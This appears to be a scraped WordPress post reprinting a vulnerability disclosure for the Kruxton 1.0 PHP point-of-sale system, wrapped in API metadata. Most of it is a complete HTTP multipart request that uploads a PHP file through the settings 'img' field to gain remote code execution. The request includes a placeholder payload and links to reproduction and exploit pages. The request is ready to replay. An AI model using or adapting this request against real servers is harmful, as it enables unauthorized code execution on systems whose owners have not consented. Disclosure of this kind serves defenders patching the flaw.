## Title: kruxton-1.0-FileUpload-RCE
## Author: nu11secur1ty
## Date: 04\/15\/2024
## Vendor: https:\/\/www.mayurik.com\/
## Software: https:\/\/www.sourcecodester.com\/php\/16127\/best-pos-management-system-php.html
## Reference: https:\/\/portswigger.net\/web-security\/file-upload<\/p>\n
## Description:
The system setting with parameter IMG is vulnerable to File Upload
vulnerability.
The attacker can upload a very malicious PHP file into the server and
then he can execute it
This is a potential CRITICAL PROBLEM!<\/p>\n
STATUS: HIGH- Vulnerability<\/p>\n[+]Payload:
“`POST
POST \/kruxton\/ajax.php?action=save_settings HTTP\/1.1
Host: localpwnedhost.com
Cookie: bLicense67=1; sEmail=kurec%40guhai.mi.huq;
PHPSESSID=lp21rf44drtnogjboa8v7lpmg1
Content-Length: 1043
Sec-Ch-Ua: “Chromium”;v=”123″, “Not:A-Brand”;v=”8″
Accept: *\/*
Content-Type: multipart\/form-data;
boundary=—-WebKitFormBoundaryUwsdkjlNQ5exBwrq
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/123.0.6312.88
Safari\/537.36
Sec-Ch-Ua-Platform: “Windows”
Origin: https:\/\/localpwnedhost.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https:\/\/localpwnedhost.com\/kruxton\/index.php?page=site_settings
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close<\/p>\n
——WebKitFormBoundaryUwsdkjlNQ5exBwrq
Content-Disposition: form-data; name=”name”<\/p>\n
Kruxton Bristo By Mayuri K
——WebKitFormBoundaryUwsdkjlNQ5exBwrq
Content-Disposition: form-data; name=”email”
mayuri.infospace@gmail.com
——WebKitFormBoundaryUwsdkjlNQ5exBwrq
Content-Disposition: form-data; name=”contact”<\/p>\n
9000000000
——WebKitFormBoundaryUwsdkjlNQ5exBwrq
Content-Disposition: form-data; name=”about”<\/p>\n
<p>Kruxton Bristo By Mayuri K<\/p><p data-f-id=”pbf” style=”text-align:
center; font-size: 14px; margin-top: 30px; opacity: 0.65; font-family:
sans-serif;”>Powered by <a
href=”https:\/\/www.froala.com\/wysiwyg-editor?pb=1″ title=”Froala
Editor”>Froala Editor<\/a><\/p>
——WebKitFormBoundaryUwsdkjlNQ5exBwrq
Content-Disposition: form-data; name=”img”; filename=”1nsi1deyou.php”
Content-Type: application\/octet-stream<\/p>\n
<?php
\/\/ by nu11secur1ty – 2024
\/\/Your malicious code here
?><\/p>\n
——WebKitFormBoundaryUwsdkjlNQ5exBwrq–
“`<\/p>\n
## Reproduce:
[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/mayuri_k\/2023\/kruxton-1.0)<\/p>\n
## Proof and Exploit:
[href](https:\/\/www.nu11secur1ty.com\/2024\/04\/kruxton-10-fileupload-rce.html)<\/p>\n
## Time spent:
00:15:00<\/p>\n","protected":false},"excerpt":{"rendered":"
## Title: kruxton-1.0-FileUpload-RCE## Author: nu11secur1ty## Date: 04\/15\/2024## Vendor: https:\/\/www.mayurik.com\/## Software: https:\/\/www.sourcecodester.com\/php\/16127\/best-pos-management-system-php.html## Reference: https:\/\/portswigger.net\/web-security\/file-upload ## Description:The system setting with parameter IMG is vulnerable to File Uploadvulnerability.The attacker can upload a very malicious PHP file into the server andthen he can execute itThis is a potential CRITICAL PROBLEM! STATUS: HIGH- Vulnerability [+]Payload:“`POSTPOST \/kruxton\/ajax.php?action=save_settings HTTP\/1.1Host: localpwnedhost.comCookie: bLicense67=1; sEmail=kurec%40guhai.mi.huq;PHPSESSID=lp21rf44drtnogjboa8v7lpmg1Content-Length: …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56267","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56267","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56267"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56267\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56267"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56267"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56267"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}